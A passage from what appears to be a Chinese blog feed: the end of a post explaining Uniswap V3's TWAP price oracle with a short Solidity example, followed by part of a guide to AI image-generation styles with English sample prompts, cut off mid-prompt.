<h3>🐌 懒加载机制</h3>
<p>默认观察点很少，但你可以通过 <code>increaseObservationCardinalityNext()</code> 增加观察容量，以支持更长时间窗口的 TWAP 查询。</p>
<h3>📐 插值机制</h3>
<p>如果你要查询的时间点不在观察点中，Uniswap 会在临近两个时间点之间做线性插值：</p>
<pre><code class="language-solidity">// 简化版插值逻辑
beforeOrAt.tickCumulative +
    ((afterOrAt.tickCumulative - beforeOrAt.tickCumulative) *
     (target - beforeOrAt.blockTimestamp)) /
    (afterOrAt.blockTimestamp - beforeOrAt.blockTimestamp)

</code></pre>
<p>这保证你总能拿到数据，即使查询的时间点恰好不在记录中。</p>
<h2>🧠 TWAP如何调用？</h2>
<p>UniswapV3Pool.sol中提供了一个关键函数：<code>observe(secondsAgos[])</code>，允许你查询任意时间点（过去多少秒前）的 <code>tickCumulative</code> 和 <code>secondsPerLiquidityCumulative</code>。</p>
<p>你只需要：</p>
<ol>
<li>获取当前和过去某一时间点的 <code>tickCumulative</code> 值；</li>
<li>相减并除以时间间隔；</li>
<li>用公式 <code>1.0001^tick</code> 转换为价格。</li>
</ol>
<p>是不是比保留一堆价格快照再求平均简单多了？</p>
<h2>📊 与其他预言机的对比</h2>
<table>
<thead>
<tr>
<th>预言机方案</th>
<th>优势</th>
<th>劣势</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Uniswap V3 TWAP</strong></td>
<td>完全链上、无需外部数据源、抗短期操纵</td>
<td>滞后性、观察窗口有限</td>
</tr>
<tr>
<td><strong>Chainlink</strong></td>
<td>数据可靠性高、覆盖资产广、更新频率可定制</td>
<td>依赖外部节点、需付费使用</td>
</tr>
<tr>
<td><strong>Uniswap V2 TWAP</strong></td>
<td>简单实现、完全链上</td>
<td>资本效率低、精度有限</td>
</tr>
</tbody>
</table>
<p>V3相比V2的主要创新是支持集中流动性和更精确的价格追踪，预言机数据结构也更加优化。</p>
<h2>✅ TWAP的优点</h2>
<ol>
<li><strong>抗操纵能力强</strong>：短时间拉盘影响不了平均价格。</li>
<li><strong>链上可用性强</strong>：所有数据都保存在链上，任何合约都能读。</li>
<li><strong>历史价格查询灵活</strong>：可以获取任意历史窗口内的平均价格。</li>
<li><strong>节省存储与 Gas</strong>：只需存储累积值，计算成本更低。</li>
<li><strong>无需外部预言机</strong>：降低信任成本，适合构建去中心化系统。</li>
</ol>
<h2>🧪 TWAP的应用场景</h2>
<ul>
<li>借贷协议：Aave、Compound 用 TWAP 判定是否触发清算，防止闪电贷操纵。</li>
<li>稳定币系统：如 DAI 的清算机制也会用 TWAP 来确认资产价值。</li>
<li>合成资产：用 TWAP 价格确保 mint/redeem 时不被临时价格操纵。</li>
<li>自动做市商策略：根据 TWAP 调整 LP 仓位或止盈止损范围。</li>
</ul>
<h2>👨‍💻 开发者实践</h2>
<p>如果你想在自己的合约中使用 Uniswap V3 的TWAP：</p>
<pre><code class="language-solidity">// 1. 引入接口
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import '@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol';

// 2. 获取TWAP价格
function getTWAP(address pool, uint32 twapInterval) public view returns (int24 tick) {
    // 确定时间窗口
    uint32[] memory secondsAgos = new uint32[](2);
    secondsAgos[0] = twapInterval; // 过去的时间点
    secondsAgos[1] = 0;            // 当前时间点

    // 查询累积值
    (int56[] memory tickCumulatives,) = IUniswapV3Pool(pool).observe(secondsAgos);

    // 计算平均tick
    tick = int24((tickCumulatives[1] - tickCumulatives[0]) / int56(uint56(twapInterval)));

    // 如果需要转换为价格: price = 1.0001^tick
}

</code></pre>
<h2>🏁 总结</h2>
<p>Uniswap V3 的<strong>TWAP</strong>实现是链上预言机设计中的经典之作，它用极少的存储，巧妙记录价格与流动性随时间的变化，从而实现安全、抗操纵、链上可查的平均价格。</p>
<p>如果你是合约开发者、DeFi 产品设计者，理解这个机制，将帮你写出更稳健的策略逻辑；
如果你是普通用户，也能更明白「为什么TWAP比当前价格更靠谱」。</p>
]]></content:encoded>
      <category>DeFi</category>
      <pubDate>Wed, 14 May 2025 03:17:17 GMT</pubDate>
    </item>
    <item>
      <title>AI生图终极指南（二）：43种风格全解析，设计师必藏！</title>
      <link>https://yangxinmin.com/ai-image-guide-43-styles-part2</link>
      <guid isPermaLink="true">https://yangxinmin.com/ai-image-guide-43-styles-part2</guid>
      <description>最近我一直在折腾各种 AI 生图工具，像 GPT-4o、Sora、豆包等工具轮番试用。作为一名 AI 插画师，搞清楚不同图片风格几乎成了“基本功”——只有吃透了风格特征，才能在不同主题和场景中选对图、出好图。 我先请 Claude 帮我系统整理了主流的图片风格资料，共计 43 种风格、划分为 7 大</description>
      <content:encoded><![CDATA[<p>最近我一直在折腾各种 AI 生图工具，像 GPT-4o、Sora、豆包等工具轮番试用。作为一名 AI 插画师，搞清楚不同图片风格几乎成了“基本功”——只有吃透了风格特征，才能在不同主题和场景中选对图、出好图。</p>
<p>我先请 Claude 帮我系统整理了主流的图片风格资料，共计 43 种风格、划分为 7 大类，逐一梳理了它们的风格特征、关键提示词，以及适用的主题场景，然后再让 GPT-4o 生成对应的生图提示词，并交给 Sora 实际出图（国内用户也可以用豆包、即梦等工具进行创作）。</p>
<p>接<a href="https://mp.weixin.qq.com/s/-ei7Vvavf6BDDw8ozfjluA">上一篇</a>，你现在看到的是这个系列的第二篇。建议点赞收藏，相信你日后用得着。</p>
<h2>四、幻想类</h2>
<h3>魔幻风格</h3>
<p><strong>一句话特征：</strong> 魔幻风格以奇幻元素和神秘氛围为核心，融合中世纪与异域风情，通过鲜艳饱和的色彩和华丽细致的细节，呈现超现实的魔法世界、神秘生物和传奇英雄，营造出充满神秘感和史诗感的幻想场景。
<strong>关键提示词：</strong> <code>fantasy illustration, wizard, elf, magical world</code><strong>适用主题：</strong> 奇幻世界观、魔法场景、神话传说、史诗冒险、异世界生物、中世纪幻想、传奇英雄、魔法森林、古老巫师</p>
<p><a href="https://app.notion.com"></a></p>
<pre><code>fantasy magical style, a heroic scene set in the world of "World of Warcraft." The composition features a powerful night elf druid, standing on a rugged mountain ledge, surrounded by swirling magical energies. The druid’s glowing staff pulses with arcane power as ethereal leaves and branches spiral around them. Their armor is intricately designed with nature-inspired motifs, glowing faintly in vibrant green and silver hues.

In the background, the towering, ancient trees of Ashenvale Forest loom, with mythical creatures like giant owlbears and treants roaming beneath the canopy. The sky above is filled with glowing constellations and floating islands, giving a sense of an ethereal, magical world. Powerful storm clouds gather, as bolts of lightning crackle through the air, hinting at an imminent battle. The scene radiates an atmosphere of mysticism, ancient power, and the beauty of the natural world. The overall composition is dynamic, with magical light streaks and bursts of energy filling the frame.

</code></pre>
<p>[占位]</p>
<pre><code>fantasy magical style, an epic scene set in a mystical forest. In the foreground, a skilled elven archer stands poised, aiming an intricately designed bow toward an approaching dark force. The archer’s armor shines faintly under the moonlight, and their sharp features are illuminated by the soft glow of a nearby campfire. The air is thick with anticipation as the archer focuses intently on their target, surrounded by ancient trees with twisted branches.

In the background, the silhouette of a towering dark fortress rises above a fiery horizon, with swirling black clouds ominously filling the sky. The ground is littered with the remnants of an old battlefield, where weapons and armor lie abandoned. The scene is imbued with mystical energy, with faint glowing runes scattered across the landscape. Shadows of dark creatures like orcs and goblins are visible in the distance, creeping through the mist.

The atmosphere is filled with a sense of impending battle and ancient magic, with glowing embers from the campfire casting dynamic light and deep shadows across the scene. The composition reflects the grandeur and gravity of a legendary struggle, with a focus on the heroic figure, the magical landscape, and the encroaching darkness.

</code></pre>
<h3>科幻风格</h3>
<p><strong>一句话特征：</strong> 科幻风格以未来科技和太空探索为主题，通过冷色调、金属质感和几何线条，展现高度发达的未来文明、外星环境和前沿科技设备，营造出兼具未来感和科技美感的超前世界观。
<strong>关键提示词：</strong> <code>sci-fi, futuristic, mecha, space scene</code><strong>适用主题：</strong> 未来世界、太空探索、外星文明、高科技设备、机械装置、未来城市、科技革命、人工智能、太空战舰</p>
<p>[占位]</p>
<pre><code>sci-fi fantasy style, an intricate and futuristic quantum computer at the heart of a high-tech lab. The computer is composed of shimmering quantum processors and glowing cables, with each processor suspended in a clear, floating chamber, emitting brilliant blue and green light. The chamber is surrounded by a web of light beams, reflecting off sleek metallic surfaces, creating a dynamic interplay of light and shadow.

In the background, holographic screens display streams of data, algorithms, and quantum waveforms, pulsating with energy. The room is illuminated by neon lights and soft, ambient glows, giving a sense of both cutting-edge technology and scientific mystery. The floor is composed of smooth, reflective surfaces, and the atmosphere is filled with a sense of both elegance and complexity, embodying the essence of next-generation computing.

The quantum computer appears alive, with energy flowing between the processors and light grids, representing the endless possibilities of computation and the unknown realms of quantum mechanics.

</code></pre>
<p>[占位]</p>
<pre><code>sci-fi fantasy style, a thrilling scene of an alien planet exploration. A team of futuristic explorers, equipped with high-tech exo-suits, is venturing through an alien landscape under a vibrant, purple sky. The explorers' helmets reflect the glowing bioluminescent plants surrounding them, casting an eerie yet mesmerizing light on the terrain.

The landscape is dominated by towering, otherworldly rock formations, with floating islands and waterfalls of glowing liquid cascading down from the sky. Strange alien creatures, with shimmering scales and multiple limbs, can be seen in the distance, observing the explorers. The atmosphere is thick with mystery, and the air appears to shimmer with an unseen energy.

In the distance, an enormous alien city is visible on the horizon, with spires that defy traditional architecture, emitting pulses of light and energy. The entire scene is bathed in a surreal, neon glow, with dynamic shadows cast by the explorers and alien features, emphasizing the sense of adventure and the unknown.

</code></pre>
<h3>史诗场景风格</h3>
<p><strong>一句话特征：</strong> 史诗场景风格以宏大壮观的构图和戏剧性的光影为特点，呈现大规模战争、神话场景或伟大冒险，通过强烈的情感张力和细节丰富的场景设计，营造出气势恢宏、震撼人心的视觉冲击。
<strong>关键提示词：</strong> <code>epic fantasy, battle scene, dragon, mythological</code><strong>适用主题：</strong> 大型战场、史诗冒险、远古神话、龙与英雄、古代文明、壮观景观、宗教场景、神话生物、传奇战争</p>
<p>[占位]</p>
<pre><code>epic fantasy style, an epic final battle between two powerful space empires. The scene is set in deep space, with a vast expanse of stars and nebulae in the background. On the left, a massive space fleet from the galactic empire, with sleek, futuristic starships, launches a coordinated assault, their weapons firing beams of intense light and energy. Their flagship, a colossal warship adorned with shimmering, metallic armor and glowing energy cores, leads the charge.

On the right, a rival empire’s fleet, composed of alien-designed ships, retaliates with beams of green and purple energy, their ships adorned with intricate alien symbols. Explosions of vibrant energy illuminate the space battlefield, creating a stunning contrast against the dark void of space. The battle is fierce, with starships colliding and debris flying through the air, accompanied by flashes of light and shockwaves.

In the foreground, a group of elite soldiers on the bridge of one of the warships observe the chaos, their faces illuminated by the glow of holographic screens and war maps. The composition emphasizes the grand scale of the battle, with dynamic lighting effects and vibrant colors highlighting the technological power and devastating force of the conflict. The atmosphere is filled with tension, heroism, and the dramatic finality of a galaxy-altering event.

</code></pre>
<h3>奇幻生物风格</h3>
<p><strong>一句话特征：</strong> 奇幻生物风格专注于展现不存在于现实世界的动物和生物，通过想象性的形态、色彩和细节设计，创造出栩栩如生的神话生物、巨龙、独角兽等，使其既有自然生物的生物学合理性又具超现实的魔幻特质。
<strong>关键提示词：</strong> <code>magical creature, unicorn, mythical beast</code><strong>适用主题：</strong> 神话生物、巨龙、精灵、独角兽、海怪、混合生物、幻想动物、神兽图鉴、奇幻宠物</p>
<p>[占位]</p>
<pre><code>fantasy creatures style, a majestic unicorn in a radiant, enchanted forest. The unicorn stands gracefully in a clearing, its pure white coat shimmering with soft, ethereal light. A spiraling, golden horn extends from its forehead, glowing with magical energy. The creature’s mane flows like silver mist, catching the light as it moves gently through the magical atmosphere.

Surrounding the unicorn is a forest of ancient trees with towering trunks and glowing leaves, casting a soft, magical radiance over the scene. The ground is covered with soft moss and flowers, and beams of sunlight filter through the dense canopy, creating a beautiful play of light and shadow. Ethereal butterflies and fireflies hover around the unicorn, their wings sparkling in the ambient light.

The atmosphere is tranquil yet awe-inspiring, filled with the sense of magic and purity. The unicorn’s eyes are bright with wisdom, as it gazes peacefully into the distance. The entire scene evokes a sense of wonder and mystery, a realm where mythical creatures roam freely, untouched by time.

</code></pre>
<p>[占位]</p>
<pre><code>fantasy creatures style, a sleek mechanical wolf roaming the neon-lit streets of a futuristic cyberpunk city. The wolf’s body is composed of shiny metal plates and glowing circuits, with bright blue and purple lights running along its spine and limbs. Its eyes are glowing with a piercing red light, scanning the dark alleys and towering skyscrapers around it. The wolf’s movement is smooth and calculated, a perfect blend of nature and machine.

The city around it is alive with glowing neon signs, holographic billboards, and towering skyscrapers that stretch far into the sky. The streets are bustling with futuristic vehicles and people dressed in cyberpunk attire, while drones hover overhead. The atmosphere is filled with a mix of excitement and danger, as the mechanical wolf strides through the rain-soaked streets, its footsteps echoing against the pavement.

In the distance, the neon-lit skyline of the city looms, casting a colorful reflection on the wet streets. The air is thick with mist and electricity, giving the scene a gritty, high-tech, and dystopian feel. The composition captures the contrast between the organic and the mechanical, with the mechanical wolf at the heart of a chaotic yet vibrant future world.

</code></pre>
<h3>暗黑奇幻风格</h3>
<p><strong>一句话特征：</strong> 暗黑奇幻风格融合了哥特式审美与黑暗奇幻元素，通过阴暗的色调、扭曲的形态和阴森的氛围，呈现恐怖、衰败的世界观，常带有不安与危险的视觉暗示，营造出紧张而神秘的氛围。
<strong>关键提示词：</strong> <code>dark fantasy, gothic atmosphere</code><strong>适用主题：</strong> 黑暗世界、恐怖传说、堕落天使、亡灵生物、地狱场景、诅咒城堡、暗夜生物、哥特建筑、黑暗仪式</p>
<p>[占位]</p>
<pre><code>dark fantasy creatures style, a fierce battle between a fallen knight and a demonic army in a ruined battlefield. The fallen knight, clad in dark, weathered armor, stands tall with a massive, jagged sword raised high, his face hidden beneath a corrupted helmet. His armor is adorned with dark runes, glowing faintly in red, symbolizing his pact with the underworld. His cape billows in the wind, stained with the blood of previous battles.

Opposing him is a horde of demonic creatures, their grotesque, twisted forms towering over the knight. Their skin is blackened, with horns, sharp claws, and glowing eyes. One of the demons, the leader, stands at the front, wielding a fiery axe that radiates intense heat, its flames flickering with a life of their own. The demonic creatures charge forward, snarling and baring their fangs, their energy crackling through the air.

The battlefield is set in a ruined, desolate landscape, with shattered stone structures and blackened earth. Dark clouds swirl overhead, casting ominous shadows across the ground. Lightning flashes in the distance, illuminating the chaos of battle. The air is thick with the smell of sulfur and blood, creating a foreboding atmosphere.

The composition focuses on the clash of forces, capturing the intensity and savagery of the fight, with vivid flashes of fire, magic, and blood. The entire scene conveys a sense of dark heroism, betrayal, and the desperate struggle between good and evil.

</code></pre>
<h2>五、场景与建筑风格</h2>
<h3>微缩模型风格</h3>
<p><strong>一句话特征：</strong> 微缩模型风格通过人工制作的精致小场景，呈现出比例缩小的现实世界，常带有清晰的边缘、鲜艳的色彩和强烈的景深，使画面如同精心制作的模型玩具，具有独特的微观世界魅力和手工感。
<strong>关键提示词：</strong> <code>miniature diorama, capsule scene, tilt-shift effect</code><strong>适用主题：</strong> 城市缩影、微型场景、模型玩具、迷你世界、建筑模型、微观生活场景、微缩公园、小人国</p>
<p>[占位]</p>
<pre><code>miniature model style, a creative capsule-shaped miniature scene placed horizontally. One half of the capsule is a vibrant, fresh green with white text "长沙" (Changsha) and "CHANGSHA" in English. The other half is transparent, showcasing miniature versions of the iconic landmarks in Changsha — the Mao Zedong statue at Orange Isle and the Changsha Jinmao Twin Towers, all carefully crafted inside the capsule without extending beyond the borders.

The background is a miniature version of Orange Isle and the Jinmao Twin Towers, with a dreamlike, 3D-rendered style. The scene is rich in detail, with a glossy, reflective surface that adds realism to the models. The rendering is done using C4D, giving it a smooth, polished, and otherworldly aesthetic.

</code></pre>
<h3>建筑插画风格</h3>
<p><strong>一句话特征：</strong> 建筑插画风格注重展现建筑的结构美学和设计特点，通过精确的线条、透视和比例，呈现建筑物的精确细节和空间关系，常带有设计图纸的简洁感或装饰性的艺术处理，适合表现各类建筑的外观和内部空间。
<strong>关键提示词：</strong> <code>architectural sketch, blueprint style, isometric view</code><strong>适用主题：</strong> 城市建筑、历史建筑、现代建筑、室内空间、城市规划、纪念建筑、建筑细节、城市天际线、建筑透视图</p>
<p>[占位]</p>
<pre><code>architectural illustration style, the intricate architectural details of the Forbidden City. The scene focuses on the iconic golden roofs, intricate dragon carvings, and ornate wooden beams of the palace halls. The scene captures the majestic symmetry of the architecture, highlighting the sweeping, upturned eaves, the decorative ceramic tiles, and the magnificent imperial palace gates adorned with red lacquer and golden accents.

The atmosphere is rich with historical charm, with the rich red and gold color scheme symbolizing imperial power and fortune. The intricate carvings on the beams and columns depict scenes of mythical creatures, phoenixes, and dragons, each painted with stunning detail. The walls of the palace are adorned with traditional Chinese patterns, with delicate borders and gold leaf details shining in the soft light.

The perspective emphasizes the grand scale of the palace, creating a sense of awe and wonder. Light filters through the palace’s wooden lattices, casting intricate shadows onto the marble floor. The composition showcases the harmony of traditional Chinese architecture, blending artistry, culture, and history into every fine detail.

</code></pre>
<h3>中式园林风格</h3>
<p><strong>一句话特征：</strong> 中式园林风格以东方美学为基础，通过曲折山水、亭台楼阁、假山石景等典型元素，营造出诗情画意的东方意境，强调自然与人工的和谐统一，呈现出中国传统园林特有的精致、含蓄与深远韵味。
<strong>关键提示词：</strong> <code>traditional Chinese garden, oriental landscape</code><strong>适用主题：</strong> 中国园林、古典园林、假山水景、亭台楼阁、江南水乡、文人园林、传统园艺、水墨山水、东方庭院</p>
<p>[占位]</p>
<pre><code>Chinese garden style, a serene and elegant summer scene set in the classical Suzhou garden of the Humble Administrator's Garden (Zhuozheng Yuan). The landscape is filled with lush greenery, graceful willow trees swaying in the warm summer breeze, and a tranquil pond adorned with blooming lotus flowers. The vibrant pink and white lotus petals float serenely on the water’s surface, while koi fish glide gracefully beneath the clear, reflective water.

The scene captures the harmonious blend of nature and architecture, with traditional Chinese pavilions, delicate wooden bridges, and arching stone walkways. The pavilions are adorned with intricately carved wooden beams, tiled roofs, and decorative lattice windows, creating a sense of peacefulness and tranquility. A series of winding paths lead visitors through the garden, offering glimpses of distant courtyards and hidden corners.

The composition emphasizes the beauty of nature’s design, with blooming flowers, lush foliage, and flowing water, evoking a sense of timeless tranquility. The architecture blends seamlessly with the natural elements, creating a perfect balance of serenity and elegance. Soft sunlight filters through the leaves, casting gentle shadows on the stone paths and reflecting off the calm water, enhancing the peaceful, sunlit atmosphere of the garden in the summer season.

</code></pre>
<h3>欧式城堡风格</h3>
<p><strong>一句话特征：</strong> 欧式城堡风格以中世纪欧洲防御性建筑为蓝本，通过厚重石墙、尖顶、城垛和拱门等元素，展现宏伟坚固的建筑美学，常带有历史感和神秘气息，营造出古老、威严而神秘的中世纪欧洲风貌。
<strong>关键提示词：</strong> <code>gothic castle, medieval architecture, stone fortress</code><strong>适用主题：</strong> 中世纪城堡、欧洲宫殿、古堡防御系统、骑士时代、中世纪生活、宫廷场景、贵族宅邸、古代要塞、石砌教堂</p>
<p>[占位]</p>
<pre><code>European castle style, the grand and opulent Versailles Palace, showcasing the magnificence of French Baroque architecture. The scene focuses on the palace's majestic exterior, with its intricate, symmetrical facades, towering columns, and golden accents that symbolize royal power and wealth. The palace is surrounded by vast, manicured gardens with geometric pathways, fountains, and ornamental sculptures, reflecting the refined taste of French royalty.

The composition emphasizes the scale and grandeur of the palace, with detailed carvings of mythological figures and royal insignia adorning the walls and arches. The vast gardens are in full bloom, with vibrant flowers and neatly trimmed hedges leading up to the palace entrance. A large central fountain is spraying water into the air, adding a sense of movement and life to the otherwise regal and still scene.

The sky is bright and clear, with **sunshine streaming down**, casting soft golden light on the palace’s golden trim and creating warm shadows. The **blue sky and white clouds** further enhance the majestic, sunlit atmosphere of the garden and the palace, emphasizing the luxury, history, and opulence of the French monarchy during the 17th century.

</code></pre>
<p>[占位]</p>
<pre><code>European castle style, the historic Edinburgh Castle perched atop a rocky hill, overlooking the city of Edinburgh. The scene captures the castle's imposing stone walls, its towering turrets, and the rugged cliffside that it rests upon, creating a dramatic and formidable atmosphere. The castle's ancient stonework is adorned with moss and ivy, reflecting its long history and resilience.

The castle's main entrance is flanked by large wooden doors and guarded by ancient cannons, emphasizing its military past. The narrow pathways and stone staircases lead up to the castle's inner courtyard, where the iconic St. Margaret's Chapel, one of the oldest surviving buildings in Scotland, is visible in the distance.

The sky is bright and clear, with **sunshine warming the ancient stone walls**, casting deep, textured shadows. **The blue sky and white clouds** add a sense of openness, enhancing the fortress’s powerful and mysterious presence. The composition highlights the contrast between the ancient stone structure and the modern city below, with the sprawling cityscape in the background, providing a sense of continuity and history.

</code></pre>
<h3>科幻建筑风格</h3>
<p><strong>一句话特征：</strong> 科幻建筑风格以未来主义设计理念为核心，通过流线型结构、悬浮元素和创新材质，展现超越当今技术水平的建筑想象，常融合霓虹灯光、全息投影和非传统几何形态，营造出前卫、高科技的未来城市景观。
<strong>关键提示词：</strong> <code>floating city, cyberpunk architecture, futuristic structure</code><strong>适用主题：</strong> 未来都市、太空殖民地、水下建筑、智能城市、悬浮建筑、高科技总部、未来居住空间、能源枢纽、虚拟现实建筑</p>
<p>[占位]</p>
<pre><code>sci-fi architecture style, a futuristic cityscape with towering skyscrapers and sleek, metallic structures. The buildings are designed with flowing, organic curves and sharp, angular edges, featuring transparent glass surfaces, glowing neon lights, and intricate geometric patterns that pulsate with energy. The architecture blends high-tech materials like chrome, titanium, and holographic elements, creating a city that feels both advanced and otherworldly.

The city is illuminated by vibrant neon colors, with towering holographic billboards displaying dynamic advertisements and digital art. The streets below are bustling with hovercrafts and pedestrians wearing high-tech clothing, walking through streets lined with towering green plants and futuristic fountains.

The atmosphere is electric, with the night sky lit by floating lights and artificial stars, creating a vibrant yet slightly dystopian feeling. The city's skyline is dominated by sleek towers and floating platforms, with advanced transportation systems weaving between the structures. The overall design emphasizes a blend of technology and nature, creating a harmonious yet futuristic urban environment.

</code></pre>
<h3>世界奇观风格</h3>
<p><strong>一句话特征：</strong> 世界奇观风格以地球上著名的自然或人造景观为主题，通过精细的细节和宏伟的视角，展现这些景点的壮观和独特之处，常带有纪念碑式的庄严感和地标性的视觉识别特征，唤起对世界各地伟大景观的赞叹。
<strong>关键提示词：</strong> <code>world wonders, landmark illustration</code><strong>适用主题：</strong> 世界遗产、自然奇观、历史遗迹、著名地标、古代建筑群、文化名胜、自然景观、旅游胜地、地理标志</p>
<p>[占位]</p>
<pre><code>World wonders style, the majestic ancient Egyptian pyramids and the iconic Sphinx standing proudly against the backdrop of the golden desert. The scene focuses on the towering Great Pyramid of Giza with its perfectly geometric shape, surrounded by the vast desert sands. Nearby, the Sphinx, with its lion's body and human face, gazes solemnly toward the horizon, adding an air of mystery and ancient power to the scene.

The warm sunshine illuminates the massive stone structures, casting long, dramatic shadows on the ground. The light enhances the intricate carvings on the pyramid’s surface and the weathered features of the Sphinx, highlighting their historical significance and architectural brilliance. The sky is a brilliant blue, with soft white clouds drifting across, creating a serene and awe-inspiring atmosphere.

The desert stretches endlessly, with palm trees and small sand dunes scattered around. The sunlight creates a golden glow over the stone, emphasizing the grandeur of the pyramids and the Sphinx, and the ancient mystery they embody. The overall composition blends history, architecture, and nature, with a sense of timelessness and awe.

</code></pre>
<p>[占位]</p>
<pre><code>World wonders style, the vibrant coral reefs of the Red Sea, teeming with colorful marine life beneath the crystal-clear water. The scene captures the kaleidoscope of coral in hues of bright pink, orange, and purple, with schools of tropical fish swimming gracefully through the clear water. The sun shines brightly overhead, casting dappled light through the water and onto the sandy ocean floor.

Above the surface, the brilliant blue sky stretches endlessly, dotted with fluffy white clouds. The water’s surface reflects the sunlight, creating a shimmering effect that enhances the beauty of the underwater world below. The coral structures rise from the ocean floor, their intricate forms creating an underwater wonderland, while the marine life thrives in this vibrant ecosystem.

The atmosphere is warm and inviting, with the sun filtering through the water and creating a serene and peaceful environment. The blue sky and white clouds further emphasize the vibrancy of the water and the beauty of the coral reef.

</code></pre>
<h2>六、设计类风格</h2>
<h3>扁平插图风格</h3>
<p><strong>一句话特征：</strong> 扁平插图风格以简化的图形和明亮的色彩为特点，摒弃复杂的渐变和阴影，采用无深度的二维表现手法，通过简洁、清晰的图形化表达，创造出现代感强、视觉传达直接的插画效果。
<strong>关键提示词：</strong> <code>flat infographic, minimalist design</code><strong>适用主题：</strong> 信息图表、数据可视化、界面设计、教育内容、简约插画、移动应用界面、产品说明、企业形象、简化概念</p>
<p>[占位]</p>
<pre><code>Flat illustration style, a playful and colorful scene of a children's game, featuring a bright and cheerful environment. The image includes smiling children, playing in a vibrant playground filled with simple geometric shapes and fun objects. The children are depicted with exaggerated features, such as large, expressive eyes and round, cartoonish faces, all wearing bright, primary-colored clothing.

In the background, there are brightly colored swings, a slide, and a sandbox, all designed with clean lines and flat colors. The playground is surrounded by simple trees with rounded tops and soft, pastel-colored clouds in a clear blue sky. The ground is dotted with colorful shapes, like triangles, circles, and squares, adding to the playful feel of the scene.

The overall composition is minimalistic, with no complex details or gradients, keeping the focus on the joyful atmosphere and simple shapes. The bright, flat colors and smooth lines create a lively and fun vibe, making the scene perfect for a children's game illustration.

</code></pre>
<p>[占位]</p>
<pre><code>Flat illustration style, a vibrant and modern scene representing digital technology and artificial intelligence. The central focus is on a stylized robot head, with simple geometric shapes, smooth lines, and a glowing digital display screen for the face. The robot's design is sleek and minimalist, using a palette of cool blues and silvers with contrasting bright neon accents for the eyes and circuits.

Surrounding the robot are abstract, floating symbols representing technology, such as cloud icons, circuit board lines, binary code, and algorithmic patterns. These elements are all designed in flat colors with no gradients or shadows, maintaining a clean and futuristic look. The background features interconnected lines and nodes, symbolizing a network or digital connections, further emphasizing the theme of artificial intelligence.

The overall atmosphere is one of innovation and progress, with simple, bold shapes and vibrant colors that make the scene feel dynamic and forward-thinking. The flat design style allows the focus to remain on the digital elements and their connection to artificial intelligence.

</code></pre>
<p>[占位]</p>
<pre><code>Flat illustration style, a vibrant and colorful depiction of an ecological farm with an emphasis on organic farming practices and sustainable agriculture. The scene includes rows of healthy crops, such as tomatoes, carrots, and leafy greens, growing in nutrient-rich soil without chemical fertilizers. A farmer, depicted with simple geometric shapes and bright clothing, is tending to the plants under a warm sun, creating a lively, welcoming atmosphere.

In the background, a wind turbine and solar panels are visible, symbolizing the farm's use of renewable energy sources. Nearby, a small pond reflects the blue sky, surrounded by lush greenery and small animals like birds and insects, which add to the ecosystem's biodiversity. The sky is bright with soft white clouds, and the landscape is dotted with trees, creating a sense of harmony between nature and agriculture.

The overall composition is clean and modern, with flat colors, bold outlines, and no gradients or shadows, keeping the focus on the vibrant, healthy landscape and the harmonious coexistence of farming and nature.

</code></pre>
<h3>图标风格</h3>
<p><strong>一句话特征：</strong> 图标风格以高度简化和符号化的视觉元素为核心，通过抽象化的线条、形状和色块，将复杂概念简化为直观易懂的符号，强调清晰的形态和即时的可识别性，适合表达各类功能和概念。
<strong>关键提示词：</strong> <code>icon style, line art, simplified graphics</code><strong>适用主题：</strong> 应用图标、导视系统、功能符号、界面元素、简化插图、品牌标志、操作指引、图形界面、概念图标</p>
<p>[占位]</p>
<pre><code>Icon style, a modern and clean design showcasing the theme of office work and artificial intelligence. The scene features simple, flat icons representing key elements of an office environment, such as a laptop, a smart assistant, a wireless mouse, and a cloud storage symbol. Each icon is created with bold lines, minimal shapes, and bright, contrasting colors.

The laptop icon is sleek and minimalistic, with a flat screen displaying a simple interface, symbolizing modern office work. The smart assistant is represented by a circular icon with a voice wave emanating from it, indicating the presence of AI technology. The cloud storage icon features a cloud with a download arrow, symbolizing data storage and AI integration.

The icons are arranged neatly in a horizontal row, with a few abstract lines and dots representing connectivity and the digital environment of the modern workplace. The background is clean and white, with subtle geometric patterns to enhance the modern, professional feel of the design. No gradients or shadows are used, maintaining the flat design aesthetic that is typical of icon-style art.

</code></pre>
<h3>UI Mock 风格</h3>
<p><strong>一句话特征：</strong> UI Mock风格以数字界面设计为核心，通过模拟应用程序、网站或软件的屏幕布局，展现用户界面的组织结构、交互元素和视觉层次，常带有网格对齐和精确间距的设计特点，呈现出现代数字产品的界面美学。
<strong>关键提示词：</strong> <code>UI/UX wireframe, mobile app design, interface mockup</code><strong>适用主题：</strong> 应用界面、网站设计、软件界面、移动应用、用户体验、屏幕原型、交互设计、界面组件、操作面板</p>
<p>[占位]</p>
<pre><code>UI Mock style, a modern and clean design for a mobile banking app interface. The screen shows a simple, user-friendly layout with a top navigation bar featuring icons for "Home", "Transactions", "Settings", and "Profile". Below, there is a dashboard showing the user's current balance, recent transactions, and a quick access button to transfer money.

The background is a smooth gradient of light blue and white, with a large, bold number indicating the balance. The transaction list is neatly organized in a list view with clear headings, showing the amount, date, and merchant icons. Below the list, there are interactive buttons for "Send Money" and "Add Account", designed with flat icons and contrasting colors for easy visibility.

The overall design is minimalist, with ample white space, simple lines, and high contrast colors for clear legibility. Icons are simple, flat, and easily recognizable. The design also includes a subtle drop shadow effect on the cards and buttons for a sleek and modern feel. There are no gradients, just flat colors, ensuring a clear and straightforward interface for user interaction.

</code></pre>
<h3>等距视图</h3>
<p><strong>一句话特征：</strong> 等距视图以特定的30度角投影方式呈现三维空间，所有平行线保持等距不会随视距变化，创造出既有3D感又保持几何精确性的表现效果，常用于展示建筑、城市规划或技术结构，具有独特的几何美感。
<strong>关键提示词：</strong> <code>isometric design, 3D technical illustration</code><strong>适用主题：</strong> 建筑透视、技术图解、游戏场景、城市规划、机械构造、空间布局、产品展示、室内设计、建筑剖面</p>
<p>[占位]</p>
<pre><code>Isometric view style, a clean and modern design of a futuristic cityscape, showing a highly organized and geometric urban environment. The scene features multiple tall skyscrapers and smaller buildings arranged in a grid pattern, all with sharp, geometric lines and flat surfaces. The buildings are displayed in equal proportions with no perspective distortion, highlighting their block-like, cubic shapes.

